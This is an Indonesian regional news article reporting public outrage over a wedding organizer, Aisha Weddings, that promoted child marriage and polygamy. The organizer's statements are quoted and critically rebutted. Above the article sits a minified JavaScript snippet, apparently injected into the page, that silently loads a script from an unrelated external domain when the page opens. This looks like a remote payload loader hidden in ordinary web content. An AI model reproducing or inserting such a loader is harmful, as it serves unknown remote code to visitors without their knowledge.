(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Viral

Viral Aisha Weddings, Dituduh Promosikan Pernikahan Anak Hingga Poligami


KANALKALIMANTAN.COM – Baru-baru ini, media sosial diramaikan dengan layanan perencana pernikahan atau wedding organizer yang mempromosikan nikah siri, poligami dan pernikahan anak di akun Facebooknya.

Wedding organizer bernama Aisha Wedding ini telah mengunggah daftar layanan yang mereka miliki, baik di Facebook maupun websitenya.

“Hukum poligami di Indonesia diperbolehkan selama sang suami bisa berlaku adil terhadap istri-istrinya.
Pernikahan sangat penting bagi setiap istri-istrinya. Biarkan Aisha Weddings merencanakan pernikahan impian pertama, kedua, ketiga, keempat Anda,” tulis akun tersebut mempromosikan poligami.

Unggahan lainnya menyebut bahwa semua wanita Muslim selalu ingin bertaqwa pada Allah SWT dan suaminya. Agar berkenan di mata Allah SWT dan suami, Aisha Weddings menyarankan agar perempuan harus menikah pada usia 12-21 tahun dan tidak lebih.

 

“Jangan tunda pernikahan karena keinginan egoismu, tugasmu sebagai gadis adalah melayani kebutuhan suamimu,” tulis wedding organizer tersebut dalam websitenya.

Beberapa tulisan lain juga menimbukkan kontroversi dan tentu saja mengundang komentar kecaman dari warganet. Khususnya, saat wedding organizer tersebut mempromosikan pernikahan dini.

Kasus ini ramai diperbincangkan setelah akun Twitter @SwetaKartika mengunggah tangkapan layar berupa penjelasan yang dimuat di website Aisha Weddings.

Dia menyebut, Aisha Weddings seperti biro jodoh yang berkedok lewat wedding organizer. Tapi, fokusnya mencarikan pasangan hidup untuk wanita yang kategori usianya masih anak-anak.

“Ada Mak Comblang digital yang meng-encourage pernikahan anak-anak yeuh. Dis is ‘n outrage. Edan…,” tulis akun tersebut.

Awalnya, si pemilik akun mengira jika hal ini hanyalah perbuatan oknum yang iseng. Namun, setelah menggali lebih dalam Facebook dan website Aisha Wesdings, ia pun tak percaya dengan kebenaran tersebut.

Aisha Weddings (Facebook Aisha Weddings)

“Kalau ini beneran, berarti ini parah. Kalau ini hoax, pelakunya tetap bisa dituntut atas pembohongan publik, menciptakan kegaduhan, penistaan agama (karena mengutip potongan ayat-ayat suci untuk mendukung opini), dan (bisa jadi) pelanggaran privasi atas foto-foto yang terpajang di web,” kata dia.

Mengetahui kehebohan tersebut, Aisha Weddings buka suara melalui unggahan terbaru di Facebok.

“Jangan menilai. Jika orang tua mau dan KUA mengeluarkan dispensasi nikah bagi anak. Kenapa murka?? Beberapa keluarga tidak punya uang untuk anaknya. Lebih baik menikah daripada mati kelaparan…,” tulis pihak Aisha Weddings dalam unggahan terbarunya Rabu (10/2/2021).

Tentu saja unggahan terbaru ini mendapat reaksi keras dari warganet, yang seolah-olah membenarkan pernikahan dini bagi wanita.

“Ngawuuurrr. Jika takut kelaparan lalu solusinya menikahkan anak, apa bedanya dengan menjual anak? Hanya karena orang tuanya malas, bisa bikin anak tapi tidak mampu menafkahinya dan melepas tanggung jawab kepada orang lain dengan kemasan pernikahan. Kalo mau usaha cari makan dari EO perkawinan, gak kaya gitu. cwiihhh. Nista luuh,” kata Lenie Sahari.

“Sinting banget, menikahkan anak dibawah umur ini juga nggak bisa jadi solusi memberantas kemiskinan. Menikah muda, mental nggak siap apalagi finansial, nanti kalau punya anak, anaknya lahir dalam kemiskinan alasan lagu gabisa menyekolahkan dinikahkan lagi, alhasil malah menambah lingkaran kemiskinan yang lebih banyak! Belum kalau bercerai, lalu anak yg dihasilkan dr pernikahan macam ini bagaimana nanti nasibnya?,” kata Fadhila Sukma.

“Cara berpikir yg sempit, menggunakan agama jadi dalih, cari duit banyak cara, bukan dengan membenarkan pikiran sempit anda dengan dalil2 agama,” komentar Ileonora. (suara.com)


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

1 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

2 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.